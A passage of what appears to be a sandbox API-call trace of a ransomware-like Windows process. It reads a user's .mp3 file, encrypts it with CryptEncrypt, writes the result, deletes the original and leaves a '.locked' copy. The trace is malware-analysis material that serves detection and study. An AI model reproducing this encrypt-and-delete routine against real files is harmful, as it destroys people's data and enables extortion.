[7]=0x1))) returned 0x0 [0134.711] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.711] ReadFile (in: hFile=0x858, lpBuffer=0x6942a00, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6942a00*, lpNumberOfBytesRead=0x99ae7a8*=0xc15f, lpOverlapped=0x0) returned 1 [0134.711] CryptEncrypt (in: hKey=0x8e84d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6956a0c*, pdwDataLen=0x99ae79c*=0xc150, dwBufLen=0xc150 | out: pbData=0x6956a0c*, pdwDataLen=0x99ae79c*=0xc150) returned 1 [0134.711] WriteFile (in: hFile=0x874, lpBuffer=0x693e1e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x693e1e0*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0134.712] WriteFile (in: hFile=0x874, lpBuffer=0x69579f8*, nNumberOfBytesToWrite=0xb164, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69579f8*, lpNumberOfBytesWritten=0x99ae780*=0xb164, lpOverlapped=0x0) returned 1 [0134.713] ReadFile (in: hFile=0x858, lpBuffer=0x6942a00, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6942a00*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0134.713] CryptEncrypt (in: hKey=0x8e84d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6962b80*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6962b80*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0134.713] CryptEncrypt (in: hKey=0x8e84d38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6962bb4*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6962bb4*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0134.713] WriteFile (in: hFile=0x874, lpBuffer=0x693e1e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x693e1e0*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0134.713] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", lpFilePart=0x0) returned 0x32 [0134.713] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.713] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.713] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.713] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.714] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\byp-giuubudzauzkh3.mp3")) returned 0x20 [0134.714] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", lpFilePart=0x0) returned 0x32 [0134.714] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.714] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.714] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.714] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.715] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.715] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.715] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.715] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.715] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.715] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.715] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.715] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.715] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0134.715] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0134.715] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0134.715] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0134.715] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\byp-giuubudzauzkh3.mp3")) returned 0x20 [0134.715] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", lpFilePart=0x0) returned 0x32 [0134.716] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", lpFilePart=0x0) returned 0x32 [0134.716] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", lpFilePart=0x0) returned 0x32 [0134.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0134.716] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", lpFilePart=0x0) returned 0x32 [0134.716] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3\\", lpFilePart=0x0) returned 0x33 [0134.716] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0134.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0134.716] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0134.716] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0134.716] CoTaskMemFree (pv=0x8eb8930) [0134.717] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\byp-giuubudzauzkh3.mp3")) returned 0x20 [0134.717] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", lpFilePart=0x0) returned 0x32 [0134.717] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", lpFilePart=0x0) returned 0x32 [0134.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0134.718] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\byp-giuubudzauzkh3.mp3"), fInfoLevelId=0x0, lpFileInformation=0x6975004 | out: lpFileInformation=0x6975004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x307ec1f0, ftCreationTime.dwHighDateTime=0x1d4ad66, ftLastAccessTime.dwLowDateTime=0x6f1cebb0, ftLastAccessTime.dwHighDateTime=0x1d4aa57, ftLastWriteTime.dwLowDateTime=0x6f1cebb0, ftLastWriteTime.dwHighDateTime=0x1d4aa57, nFileSizeHigh=0x0, nFileSizeLow=0xc15f)) returned 1 [0134.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0134.718] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\byp-giuubudzauzkh3.mp3")) returned 1 [0134.720] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.720] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.720] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.720] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.720] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.721] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\byp-giuubudzauzkh3.mp3.locked")) returned 0x20 [0134.721] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\byp-giuubudzauzkh3.mp3.locked")) returned 0x20 [0134.722] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3.locked", lpFilePart=0x0) returned 0x39 [0134.722] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3.locked", lpFilePart=0x0) returned 0x39 [0134.722] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.722] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3", lpFilePart=0x0) returned 0x32 [0134.722] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.722] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.722] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.722] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.724] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.724] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.725] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.725] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.725] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.726] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.726] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.726] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.726] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.726] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.727] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.727] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.728] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.728] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.728] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.729] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.729] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.729] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.729] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.729] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.731] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0134.733] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3.locked" (normalized: 